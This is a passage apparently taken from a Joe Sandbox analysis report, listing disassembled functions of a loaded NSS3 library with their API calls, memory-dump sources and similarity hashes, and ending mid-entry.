Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DFAA

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: dc99fdfab89ac34ec3fa86b40dd7bb153d0672a5ef2d7a9d7c5f25918647dc43
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 7781C2706076038BFF144A19C8987A976E6DB65348F20843BE919CAFE1D774C4C6C67E

Function 6C663C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C663C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C663C94

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PORT_NewArena_Util.NSS3(00000800), ref: 6C663CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C663CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C663CE1

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction ID: c364a33a162b3cab99782b30ceca638fd2c88498a007c7874a8616c89b6714d6
Opcode Fuzzy Hash: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction Fuzzy Hash: 0961C4B1A00201BBEB105F66DC45FA776B9EF05748F084439ED059AA52F731D815C7BA

Function 6C6A3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32 ref: 6C6A3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C6A3D9F
PR_Unlock.NSS3(?), ref: 6C6A3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C6A3E4F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32 ref: 6C6A3E97
EnterCriticalSection.KERNEL32(?), ref: 6C6A3EAB
PR_Unlock.NSS3(?), ref: 6C6A3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3EEE

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction ID: 33748bc75c33f2b6808db6bc2b23d194167b81a2f5fb69110d018f46ca46ef4a
Opcode Fuzzy Hash: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction Fuzzy Hash: 33515571A002019FDB11AFA9D844BAA73B0FF46318F040579EE1947B12EB31EC56CBD9

Function 6C652C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0BC4EFC3), ref: 6C652C5D

Part of subcall function 6C6B0D30: calloc.MOZGLUE ref: 6C6B0D50
Part of subcall function 6C6B0D30: TlsGetValue.KERNEL32 ref: 6C6B0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C652C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C652CE0

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C652D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C652D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C652D3F
free.MOZGLUE(00000000), ref: 6C652D73
CERT_DestroyCertificate.NSS3(?), ref: 6C652DB8
free.MOZGLUE ref: 6C652DC8

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction ID: ac2a680c9fc11d6d124ae6a8217de67a126df86f60f2bdb909786b74df417293
Opcode Fuzzy Hash: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction Fuzzy Hash: 5A510F72A042129BDB00DE68DC88B6B77E5EF84308F640638EC4583610E731E8258B9A

Function 6C657CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PR_GetCurrentThread.NSS3 ref: 6C657CFD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779030), ref: 6C657D1B

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779048), ref: 6C657D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C657D50
PR_GetCurrentThread.NSS3 ref: 6C657D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C657D7D
free.MOZGLUE(?), ref: 6C657D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C657DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C657E19

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction ID: b4899b585eb6979e0d872a6f68a2be636c4ac0a7575c05f478845f1263ebf321
Opcode Fuzzy Hash: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction Fuzzy Hash: 81411572A1011A9BDF008F699C45BAF33E4AF5135CF654224EC09A7B50E730ED29C7AA

Function 6C667EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F36
free.MOZGLUE(?,?,?,6C6680DD), ref: 6C667F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6680DD), ref: 6C667F5D
DeleteCriticalSection.KERNEL32(?,6C6680DD), ref: 6C667F94
free.MOZGLUE(?), ref: 6C667F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6680DD), ref: 6C667FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6680DD), ref: 6C667FE6
free.MOZGLUE(?,6C6680DD), ref: 6C66802D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction ID: d42e9a6e724bae1ba5177ad3823ee47b840d89a84f9a7cf6aa6fd0b497b7976d
Opcode Fuzzy Hash: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction Fuzzy Hash: 2C41F7B1B061045BDB009FBA9C88E4A37B9AB47398F150639E51D97F40D731D409CB9E

Function 6C6AFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6AFF00

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6AFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6AFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6AFF8C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction ID: b08efe629e4d9877bc7512828895ca26a07d10df1e7c910a11b11f40d1455db0
Opcode Fuzzy Hash: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction Fuzzy Hash: E43128F29013229BE7108E948C40B9B76A8AF4A34CF140135ED18A7B41F770DD25C7DB

Function 6C5F7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5F7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7F2E

Strings

database corruption, xrefs: 6C5F7EE2, 6C5F7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7ED8, 6C5F7F08, 6C5F7F19
%s at line %d of [%.10s], xrefs: 6C5F7EE7, 6C5F7F28

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction ID: 11a3d9d7ae6d9d489f8e2ae74219312032fe39294664de212c34a3fbbcbd539d
Opcode Fuzzy Hash: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction Fuzzy Hash: 8961C170A002059FDB09CF29CC90BAA37B2BF45358F1448A9ED285BB52D730EC46CFA0

Function 6C5DFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFE83

Part of subcall function 6C5DFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5DFEFA
Part of subcall function 6C5DFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5DFF3B

Strings

database corruption, xrefs: 6C5DFD6E, 6C5DFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DFD64, 6C5DFE26
%s at line %d of [%.10s], xrefs: 6C5DFD73, 6C5DFE35

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction ID: f8b52f8f2e6dbdf8dbc5dd1c5b323f79f697c4421a8a330b48975e1c727e204b
Opcode Fuzzy Hash: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction Fuzzy Hash: B1518F71A002059FDB04CFADDD90AAEB7B1EF48308F154169EA05ABB52E731FD50CBA4

Function 6C722F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722FFD
sqlite3_initialize.NSS3 ref: 6C723007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C723032
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C723073
sqlite3_free.NSS3(?), ref: 6C7230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7230BB

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction ID: d40c16d559fc85d586ee09db67bec24a23d830ebd23b3cea79d6e5ea7edb4d8e
Opcode Fuzzy Hash: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction Fuzzy Hash: F941C271600606AFDB10CF25D944A86B7AAFF44368F148639EC2987B40E735F955CBE1

Function 6C6A5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]jl), ref: 6C6A5F0A
TlsGetValue.KERNEL32 ref: 6C6A5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C6A5F2F
PR_Unlock.NSS3(890008E8), ref: 6C6A5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C6A5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C6A5F7D

Part of subcall function 6C6A5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C6A5F82,8B4274C0), ref: 6C6A5248
Part of subcall function 6C6A5220: EnterCriticalSection.KERNEL32(0F6C770D,?,6C6A5F82,8B4274C0), ref: 6C6A525C
Part of subcall function 6C6A5220: PR_SetError.NSS3(00000000,00000000), ref: 6C6A528E
Part of subcall function 6C6A5220: PR_Unlock.NSS3(0F6C76F1), ref: 6C6A5299
Part of subcall function 6C6A5220: free.MOZGLUE(00000000), ref: 6C6A52A9

Strings

q]jl, xrefs: 6C6A5EDB, 6C6A5F09

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]jl
API String ID: 3150690610-1303710552
Opcode ID: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction ID: d09578a01e7b88a59bb3eafc0fe3ebecaa9497c84260a071ed4e689792d1ebe0
Opcode Fuzzy Hash: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction Fuzzy Hash: DB21D6B1D00604AFDB10DFA4EC45AEEB7B4EF09318F544039E90AA7700FB31A9558B99

Function 6C668CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

